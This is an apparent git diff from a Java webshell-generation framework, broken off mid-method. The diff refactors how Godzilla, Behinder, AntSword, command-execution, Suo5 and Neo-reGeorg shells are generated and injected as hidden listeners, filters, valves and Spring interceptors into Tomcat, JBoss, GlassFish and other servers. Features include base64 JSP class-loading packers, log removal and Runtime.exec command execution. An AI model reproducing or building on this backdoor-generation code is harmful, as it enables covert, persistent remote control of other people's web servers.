import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
import lombok.Getter;
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -139,6 +118,8 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
.addShellClass(VALVE, GodzillaValve.class)
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
.addShellClass(PROXY_VALVE, Godzilla.class)
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
@@ -167,6 +148,8 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
.addShellClass(VALVE, BehinderValve.class)
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
.addShellClass(PROXY_VALVE, Behinder.class)
.addShellClass(JAKARTA_PROXY_VALVE, Behinder.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
@@ -185,6 +168,7 @@ public enum Server {
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, AntSwordListener.class)
.addShellClass(VALVE, AntSwordValve.class)
.addShellClass(PROXY_VALVE, AntSword.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
@@ -205,6 +189,8 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
.addShellClass(VALVE, CommandValve.class)
.addShellClass(JAKARTA_VALVE, CommandValve.class)
.addShellClass(PROXY_VALVE, Command.class)
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
@@ -233,6 +219,8 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
.addShellClass(VALVE, Suo5Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
.addShellClass(PROXY_VALVE, Suo5.class)
.addShellClass(JAKARTA_PROXY_VALVE, Suo5.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
@@ -256,6 +244,8 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
.addShellClass(VALVE, NeoreGeorgValve.class)
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
.addShellClass(PROXY_VALVE, NeoreGeorg.class)
.addShellClass(JAKARTA_PROXY_VALVE, NeoreGeorg.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
@@ -1,44 +1,40 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import java.lang.reflect.Constructor;
/**
* @author ReaJason
* @since 2024/11/22
*/
public enum ShellTool {
/**
* 哥斯拉
*/
Godzilla,
Godzilla(GodzillaGenerator.class, GodzillaConfig.class),
Command(CommandGenerator.class, CommandConfig.class),
Behinder(BehinderGenerator.class, BehinderConfig.class),
Suo5(Suo5Generator.class, Suo5Config.class),
AntSword(AntSwordGenerator.class, AntSwordConfig.class),
NeoreGeorg(NeoreGeorgGenerator.class, NeoreGeorgConfig.class),
Custom(CustomShellGenerator.class, CustomConfig.class);
/**
* 冰蝎
*/
Behinder,
private final Class<? extends ShellGenerator> generatorClass;
private final Class<? extends ShellToolConfig> configClass;
/**
* 蚁剑
*/
AntSword,
ShellTool(Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
this.generatorClass = generatorClass;
this.configClass = configClass;
}
/**
* 命令回显
*/
Command,
/**
* Suo5 隧道代理 <a href="https://github.com/zema1/suo5">zema1/suo5</a>
*/
Suo5,
/**
* Neo-reGeorg <a href="https://github.com/L-codes/Neo-reGeorg">L-codes/Neo-reGeorg</a>
*/
NeoreGeorg,
/**
* 自定义
*/
Custom,
;
public byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
try {
Constructor<? extends ShellGenerator> constructor =
generatorClass.getConstructor(ShellConfig.class, configClass);
ShellGenerator generator = constructor.newInstance(shellConfig, configClass.cast(shellToolConfig));
return generator.getBytes();
} catch (Exception e) {
throw new RuntimeException("Failed to create generator for " + this, e);
}
}
}
@@ -6,15 +6,18 @@ package com.reajason.javaweb.memshell;
*/
public class ShellType {
public static final String JAKARTA = "Jakarta";
public static final String SERVLET = "Servlet";
public static final String JAKARTA_SERVLET = "JakartaServlet";
public static final String JAKARTA_SERVLET = JAKARTA + SERVLET;
public static final String FILTER = "Filter";
public static final String JAKARTA_FILTER = "JakartaFilter";
public static final String JAKARTA_FILTER = JAKARTA + FILTER;
public static final String LISTENER = "Listener";
public static final String JAKARTA_LISTENER = "JakartaListener";
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
public static final String PROXY_VALVE = "Proxy" + VALVE;
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
public static final String NETTY_HANDLER = "NettyHandler";
@@ -1,12 +1,13 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.server.AbstractShell;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
@@ -27,11 +28,24 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
@Override
public byte[] getBytes() {
Class<?> shellClass = shellToolConfig.getShellClass();
String shellClassName = shellToolConfig.getShellClassName();
DynamicType.Builder<?> builder = build(new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.name(shellToolConfig.getShellClassName())
.redefine(shellClass)
.name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
String shellType = shellConfig.getShellType();
AbstractShell shell = shellConfig.getServer().getShell();
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
builder = ListenerGenerator.build(builder, shell.getListenerInterceptor(), shellClass, shellClassName);
}
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
builder = ValveGenerator.build(builder, shell);
}
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
@@ -1,20 +1,19 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import net.bytebuddy.implementation.FixedValue;
import java.util.Collections;
import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
/**
* @author ReaJason
@@ -22,18 +21,8 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
*/
public class ListenerGenerator {
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
boolean needAddGetFieldValue = false;
try {
targetClass.getMethod("getFieldValue", Object.class, String.class);
} catch (NoSuchMethodException e) {
needAddGetFieldValue = true;
}
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(targetClass)
.name(newClassName).visit(new AsmVisitorWrapper.ForDeclaredMethods()
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
builder = builder.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("getResponseFromRequest"),
new MethodCallReplaceVisitorWrapper(
newClassName,
@@ -42,17 +31,19 @@ public class ListenerGenerator {
)
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
if (needAddGetFieldValue) {
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
.getDeclaredMethods()
.filter(named("getFieldValue")
.and(takesArguments(Object.class, String.class)))
.isEmpty();
if (methodNotFound) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
}
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return unloaded
.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
.getLoaded();
}
return builder;
}
}
@@ -1,24 +1,18 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.tongweb.web.thor.comet.CometEvent;
import com.tongweb.web.thor.connector.Request;
import com.tongweb.web.thor.connector.Response;
import net.bytebuddy.ByteBuddy;
import com.reajason.javaweb.memshell.server.*;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.field.FieldDescription;
import net.bytebuddy.description.field.FieldList;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.commons.ClassRemapper;
import net.bytebuddy.jar.asm.commons.Remapper;
import net.bytebuddy.pool.TypePool;
import org.apache.commons.lang3.StringUtils;
import org.jetbrains.annotations.NotNull;
/**
@@ -33,6 +27,23 @@ public class ValveGenerator {
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractShell shell) {
String packageName = null;
if (shell instanceof TongWeb6Shell) {
packageName = TONGWEB6_VALVE_PACKAGE;
} else if (shell instanceof TongWeb7Shell) {
packageName = TONGWEB7_VALVE_PACKAGE;
} else if (shell instanceof TongWeb8Shell) {
packageName = TONGWEB8_VALVE_PACKAGE;
} else if (shell instanceof BesShell) {
packageName = BES_VALVE_PACKAGE;
}
if (StringUtils.isEmpty(packageName)) {
return builder;
}
return builder.visit(new ValveRenameVisitorWrapper(packageName));
}
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
private final String newPackageName;
@@ -75,26 +86,4 @@ public class ValveGenerator {
});
}
}
public static Class<?> generateValveClass(String packageName, Class<?> targetClass) {
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(targetClass)
.name(newClassName)
.visit(new ValveRenameVisitorWrapper(packageName));
if (TONGWEB6_VALVE_PACKAGE.equals(packageName)) {
builder = builder
.defineMethod("getInfo", String.class, Visibility.PUBLIC)
.intercept(FixedValue.value(""))
.defineMethod("event", void.class, Visibility.PUBLIC)
.withParameters(Request.class, Response.class, CometEvent.class)
.intercept(FixedValue.originType());
}
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return unloaded.load(ValveGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
}
}
}
@@ -1,14 +1,12 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.modifier.Ownership;
@@ -24,25 +22,16 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @author ReaJason
* @since 2024/11/24
*/
public class CommandGenerator {
private final ShellConfig shellConfig;
private final CommandConfig commandConfig;
public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
this.shellConfig = shellConfig;
this.commandConfig = commandConfig;
super(shellConfig, commandConfig);
}
public DynamicType.Builder<?> getBuilder() {
if (commandConfig.getShellClass() == null) {
throw new IllegalArgumentException("commandConfig.getClazz() == null");
}
@Override
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(commandConfig.getShellClass())
.name(commandConfig.getShellClassName())
.field(named("paramName")).value(commandConfig.getParamName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
builder = builder.field(named("paramName")).value(shellToolConfig.getParamName());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -52,35 +41,29 @@ public class CommandGenerator {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
builder = builder
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("getParam"),
new MethodCallReplaceVisitorWrapper(
commandConfig.getShellClassName(),
shellToolConfig.getShellClassName(),
Collections.singleton(ShellCommonUtil.class.getName()))
)
)
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
}
if (CommandConfig.ImplementationClass.RuntimeExec.equals(commandConfig.getImplementationClass())) {
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(commandConfig.getImplementationClass())) {
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -10,7 +10,7 @@ import net.bytebuddy.asm.Advice;
public class DoubleBase64ParamInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
}
}
@@ -9,7 +9,6 @@ import com.reajason.javaweb.memshell.packer.Packer;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/2/20
@@ -12,11 +12,11 @@ import java.util.Objects;
* @author ReaJason
* @since 2024/11/26
*/
public class DefalutJspPacker implements Packer {
public class ClassLoaderJspPacker implements Packer {
String jspTemplate = null;
public DefalutJspPacker() {
public ClassLoaderJspPacker() {
try {
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
} catch (Exception ignored) {
@@ -0,0 +1,41 @@
package com.reajason.javaweb.memshell.packer.jsp;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class DefineClassJspPacker implements Packer {
String template = null;
String bypassTemplate = null;
public DefineClassJspPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
bypassTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
} catch (Exception ignored) {
}
}
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
String template = this.template;
if (generateResult.getShellConfig().needByPassJavaModule()) {
template = bypassTemplate;
}
return template.replace("{{className}}", injectorClassName)
.replace("{{base64Str}}", injectorBytesBase64Str);
}
}
@@ -18,7 +18,7 @@ public class ApusicShell extends AbstractShell {
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "http"), "response");
}
}
@@ -1,13 +1,12 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner;
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -20,7 +19,7 @@ public class GlassFishShell extends AbstractShell {
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
try {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
} catch (Exception e) {
@@ -42,10 +41,10 @@ public class GlassFishShell extends AbstractShell {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, GlassFishListenerInjector.class)
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
.addInjector(FILTER, GlassFishFilterInjector.class)
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
.addInjector(LISTENER, TomcatListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
.addInjector(FILTER, TomcatFilterInjector.class)
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
@@ -1,10 +1,10 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -22,8 +22,8 @@ public class InforSuiteShell extends AbstractShell {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, GlassFishListenerInjector.class)
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
.addInjector(LISTENER, TomcatListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
.addInjector(FILTER, InforSuiteFilterInjector.class)
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class)
@@ -1,10 +1,11 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
import com.reajason.javaweb.memshell.injector.jboss.JbossProxyValveInjector;
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -22,9 +23,10 @@ public class JbossShell extends AbstractShell {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, JbossListenerInjector.class)
.addInjector(FILTER, JbossFilterInjector.class)
.addInjector(LISTENER, TomcatListenerInjector.class)
.addInjector(FILTER, TomcatFilterInjector.class)
.addInjector(VALVE, JbossValveInjector.class)
.addInjector(PROXY_VALVE, JbossProxyValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.build();
@@ -19,7 +19,7 @@ public class JettyShell extends AbstractShell {
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
try {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
} catch (Exception e) {
@@ -18,7 +18,7 @@ public class ResinShell extends AbstractShell {
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
response = ShellCommonUtil.getFieldValue(request, "_response");
}
}
@@ -2,9 +2,6 @@ package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
import com.reajason.javaweb.memshell.generator.ValveGenerator;
import java.util.Map;
import java.util.Set;
@@ -28,27 +25,6 @@ public class ServerToolRegistry {
if (shellClass == null) {
continue;
}
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass);
}
boolean isValve = (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType));
if (isValve && shell instanceof TongWeb6Shell) {
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB6_VALVE_PACKAGE, shellClass);
}
if (isValve && shell instanceof TongWeb7Shell) {
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, shellClass);
}
if (isValve && shell instanceof TongWeb8Shell) {
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB8_VALVE_PACKAGE, shellClass);
}
if (isValve && shell instanceof BesShell) {
shellClass = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, shellClass);
}
toolMappingBuilder.addShellClass(shellType, shellClass);
}
shell.addToolMapping(shellTool, toolMappingBuilder.build());
@@ -1,9 +1,9 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
import com.reajason.javaweb.memshell.injector.springwebflux.SpringWebFluxHandlerFunctionInjector;
import com.reajason.javaweb.memshell.injector.springwebflux.SpringWebFluxHandlerMethodInjector;
import com.reajason.javaweb.memshell.injector.springwebflux.SpringWebFluxNettyHandlerInjector;
import com.reajason.javaweb.memshell.injector.springwebflux.SpringWebFluxWebFilterInjector;
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -1,8 +1,8 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
import com.reajason.javaweb.memshell.injector.springwebmvc.SpringWebMvcControllerHandlerInjector;
import com.reajason.javaweb.memshell.injector.springwebmvc.SpringWebMvcFrameworkServletAgentInjector;
import com.reajason.javaweb.memshell.injector.springwebmvc.SpringWebMvcInterceptorInjector;
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.tomcat.*;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner;
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -16,7 +15,7 @@ public class TomcatShell extends AbstractShell {
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
try {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
} catch (Exception e) {
@@ -39,6 +38,8 @@ public class TomcatShell extends AbstractShell {
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
.addInjector(VALVE, TomcatValveInjector.class)
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
.addInjector(PROXY_VALVE, TomcatProxyValveInjector.class)
.addInjector(JAKARTA_PROXY_VALVE, TomcatProxyValveInjector.class)
.addInjector(SERVLET, TomcatServletInjector.class)
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
@@ -21,7 +21,7 @@ public class UndertowShell extends AbstractShell {
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
